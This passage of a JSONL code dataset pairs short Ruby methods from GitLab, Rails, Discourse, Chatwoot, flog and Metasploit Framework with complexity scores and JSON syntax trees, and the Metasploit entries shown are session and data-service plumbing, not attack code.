\"type\":\"str\",\"children\":[\"DOMAIN_NAME\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOMAIN_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"GPO_GUID\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GPO_GUID\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"MsDtyp\"]},\"MsDtypGuid\"]},\"random_generate\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"GPO_VERSION\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GPO_VERSION\"]}]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[9]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VER_FILE_NAME\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VER_FILE_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_ver_file_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"xmlReport\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"xmlReport\"]}]},{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-16\\\"?>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_fileName\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Html_fileName\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_fileName\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Html_fileName\"]},{\"type\":\"lvar\",\"children\":[\"html_fileName\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"html_report\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"htmlReport\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_report\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"htmlReport\"]},{\"type\":\"lvar\",\"children\":[\"html_report\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_json\"]}]}]}","id":"de3c9218-e524-4e03-8c7e-58b808966391"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/remote_mirrors/create_service.rb","start_line":5,"raw_source":"def execute\n      return ServiceResponse.error(message: _('Access Denied')) unless allowed?\n\n      remote_mirror = project.remote_mirrors.create(allowed_attributes)\n\n      if remote_mirror.persisted?\n        ServiceResponse.success(payload: { remote_mirror: remote_mirror })\n      else\n        ServiceResponse.error(message: remote_mirror.errors)\n      end\n    end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Access Denied\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"remote_mirror\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"remote_mirrors\"]},\"create\",{\"type\":\"send\",\"children\":[null,\"allowed_attributes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_mirror\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote_mirror\"]},{\"type\":\"lvar\",\"children\":[\"remote_mirror\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_mirror\"]},\"errors\"]}]}]}]}]}]}]}","id":"6d7e9416-0b86-4b9d-a005-ba7dc879f7e6"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog.rb","start_line":293,"raw_source":"def threshold\n    option[:all] ? nil : total_score * @threshold\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"threshold\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_score\"]},\"*\",{\"type\":\"ivar\",\"children\":[\"@threshold\"]}]}]}]}","id":"123096af-c677-4bbe-80f5-75aa4fd385a2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/search.rb","start_line":1513,"raw_source":"def private_messages_search\n    raise Discourse::InvalidAccess.new(\"anonymous can not search PMs\") unless @guardian.user\n\n    aggregate_search(type_filter: \"private_messages\")\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"private_messages_search\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@guardian\"]},\"user\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]},\"new\",{\"type\":\"str\",\"children\":[\"anonymous can not search PMs\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"aggregate_search\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_filter\"]},{\"type\":\"str\",\"children\":[\"private_messages\"]}]}]}]}]}]}","id":"dbbb3f36-0001-4403-9be1-d789c8abdcca"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/unused_routes/unused_routes_command.rb","start_line":42,"raw_source":"def perform(*)\n        boot_application!\n        require \"action_dispatch/routing/inspector\"\n\n        say(inspector.format(formatter, routes_filter))\n\n        exit(1) if routes.any?\n      end","complexity_score":13.03,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"boot_application!\"]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"action_dispatch/routing/inspector\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inspector\"]},\"format\",{\"type\":\"send\",\"children\":[null,\"formatter\"]},{\"type\":\"send\",\"children\":[null,\"routes_filter\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routes\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[1]}]},null]}]}]}","id":"c64802b2-d70c-44f6-9630-e3e139737e0f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/reviewable/perform_result.rb","start_line":23,"raw_source":"def created_post=(created_post)\n      @created_post = created_post\n      @created_post_topic = created_post.topic\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"created_post=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"created_post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@created_post\",{\"type\":\"lvar\",\"children\":[\"created_post\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@created_post_topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_post\"]},\"topic\"]}]}]}]}","id":"4e16ed4c-c877-4855-9f19-df6b436e2b06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/event_presenter.rb","start_line":50,"raw_source":"def note_target_type_name\n    return unless note?\n\n    if design_note?\n      'Design'\n    elsif wiki_page_note?\n      'Wiki Page'\n    elsif target.for_issue? || target.for_work_item?\n      target.noteable.issue_type\n    else\n      target.noteable_type.titleize\n    end.downcase\n  end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"note_target_type_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"design_note?\"]},{\"type\":\"str\",\"children\":[\"Design\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_page_note?\"]},{\"type\":\"str\",\"children\":[\"Wiki Page\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"for_issue?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"for_work_item?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"noteable\"]},\"issue_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"noteable_type\"]},\"titleize\"]}]}]}]},\"downcase\"]}]}]}","id":"42b5514c-6251-4a5f-943c-778442e8984b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":810,"raw_source":"def test_submit_tag_with_confirmation\n    assert_dom_equal(\n      %(<input name='commit' type='submit' value='Save' data-confirm=\"Are you sure?\" data-disable-with=\"Save\" />),\n      submit_tag(\"Save\", data: { confirm: \"Are you sure?\" })\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_submit_tag_with_confirmation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input name='commit' type='submit' value='Save' data-confirm=\\\"Are you sure?\\\" data-disable-with=\\\"Save\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"submit_tag\",{\"type\":\"str\",\"children\":[\"Save\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confirm\"]},{\"type\":\"str\",\"children\":[\"Are you sure?\"]}]}]}]}]}]}]}]}","id":"894de023-233f-473d-8cba-455d9409654b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/proxy/login_data_proxy.rb","start_line":2,"raw_source":"def logins(opts = {})\n    begin\n      self.data_service_operation do |data_service|\n        data_service.logins(opts)\n      end\n    rescue => e\n      self.log_error(e, \"Problem retrieving logins\")\n    end\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"logins\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data_service_operation\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_service\"]},\"logins\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_error\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Problem retrieving logins\"]}]}]},null]}]}]}","id":"1ea2a005-840d-4b1b-b512-cf29f9d5a740"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/evented_file_update_checker_test.rb","start_line":11,"raw_source":"def setup\n    skip if ENV[\"LISTEN\"] == \"0\"\n    require \"listen\"\n    super\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LISTEN\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"send\",\"children\":[null,\"skip\"]},null]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"listen\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"7d86887a-773b-4c3f-bd34-2db3f9f08511"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/length_validation_test.rb","start_line":279,"raw_source":"def test_validates_length_of_custom_errors_for_is_with_wrong_length\n    Topic.validates_length_of(:title, is: 5, wrong_length: \"hoo %{count}\")\n    t = Topic.new(\"title\" => \"uhohuhoh\", \"content\" => \"whatever\")\n    assert_predicate t, :invalid?\n    assert_predicate t.errors[:title], :any?\n    assert_equal [\"hoo 5\"], t.errors[\"title\"]\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_length_of_custom_errors_for_is_with_wrong_length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_length\"]},{\"type\":\"str\",\"children\":[\"hoo %{count}\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"uhohuhoh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"whatever\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"sym\",\"children\":[\"any?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hoo 5\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]}]}]}","id":"c5e8068f-6daa-4ddc-aec0-5833de4961cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/command_shell_options.rb","start_line":28,"raw_source":"def on_session(session)\n    super\n\n    # Configure input/output to match the payload\n    session.user_input  = self.user_input if self.user_input\n    session.user_output = self.user_output if self.user_output\n\n    platform = nil\n    if self.platform and self.platform.kind_of? Msf::Module::PlatformList\n      platform = self.platform.platforms.first.realname.downcase\n    end\n    if self.platform and self.platform.kind_of? Msf::Module::Platform\n      platform = self.platform.realname.downcase\n    end\n\n\n    # a blank platform is *all* platforms and used by the generic modules, in that case only set this instance if it was\n    # not previously set to a more specific value through some means\n    session.platform = platform unless platform.blank? && !session.platform.blank?\n\n    if self.arch\n      if self.arch.kind_of?(Array)\n        session.arch = self.arch.join('')\n      else\n        session.arch = self.arch\n      end\n    end\n\n  end","complexity_score":53.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"user_input=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_input\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_output\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"user_output=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_output\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"platform\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"PlatformList\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"platform\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform\"]},\"platforms\"]},\"first\"]},\"realname\"]},\"downcase\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"platform\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform\"]},\"realname\"]},\"downcase\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"platform\"]},\"blank?\"]},\"!\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"platform=\",{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arch\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arch\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"arch=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arch\"]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"arch=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arch\"]}]}]},null]}]}]}","id":"eb2fccaa-91ff-4a8e-8efd-9c869062b2cb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/keep_around.rb","start_line":53,"raw_source":"def kept_around?(sha)\n        return true if disabled?\n\n        ref_exists?(keep_around_ref_name(sha))\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"kept_around?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sha\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disabled?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"ref_exists?\",{\"type\":\"send\",\"children\":[null,\"keep_around_ref_name\",{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]}]}]}","id":"3c851122-a472-48b8-910f-0b238c53ad82"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter_php.rb","start_line":19,"raw_source":"def initialize(rstream, opts={})\n    super\n    self.base_platform = 'php'\n    self.base_arch = ARCH_PHP\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rstream\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_platform=\",{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_arch=\",{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]}]}","id":"e72fdce9-ed3a-4d7f-a2e0-372ff3ce2d51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/kubernetes_helpers.rb","start_line":86,"raw_source":"def stub_kubeclient_service_pods(response = nil, options = {})\n    stub_kubeclient_discover(service.api_url)\n\n    namespace_path = options[:namespace].present? ? \"namespaces/#{options[:namespace]}/\" : \"\"\n\n    pods_url = service.api_url + \"/api/v1/#{namespace_path}pods\"\n\n    WebMock.stub_request(:get, pods_url).to_return(response || kube_pods_response)\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_kubeclient_service_pods\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"response\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_kubeclient_discover\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"api_url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"namespace_path\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"namespaces/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pods_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"api_url\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/api/v1/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace_path\"]}]},{\"type\":\"str\",\"children\":[\"pods\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"lvar\",\"children\":[\"pods_url\"]}]},\"to_return\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"send\",\"children\":[null,\"kube_pods_response\"]}]}]}]}]}","id":"de182811-4a1e-4ccc-9943-5272cb3dc923"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/message.rb","start_line":380,"raw_source":"def reopened_by_contact?\n    incoming? && !private? && Current.user.class != sender.class && sender.instance_of?(Contact)\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"reopened_by_contact?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incoming?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"private?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"user\"]},\"class\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sender\"]},\"class\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sender\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[null,\"Contact\"]}]}]}]}","id":"0f63eb4b-2893-4524-8b20-2bbf0e25c627"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notes/update_service.rb","start_line":79,"raw_source":"def update_note(note, only_commands)\n      return unless note.note_changed?\n\n      note.assign_attributes(last_edited_at: Time.current, updated_by: updated_by_user)\n      note.check_for_spam(action: :update, user: current_user) unless only_commands\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]},{\"type\":\"arg\",\"children\":[\"only_commands\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"note_changed?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"assign_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_edited_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_by\"]},{\"type\":\"send\",\"children\":[null,\"updated_by_user\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"only_commands\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"check_for_spam\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]},{\"type\"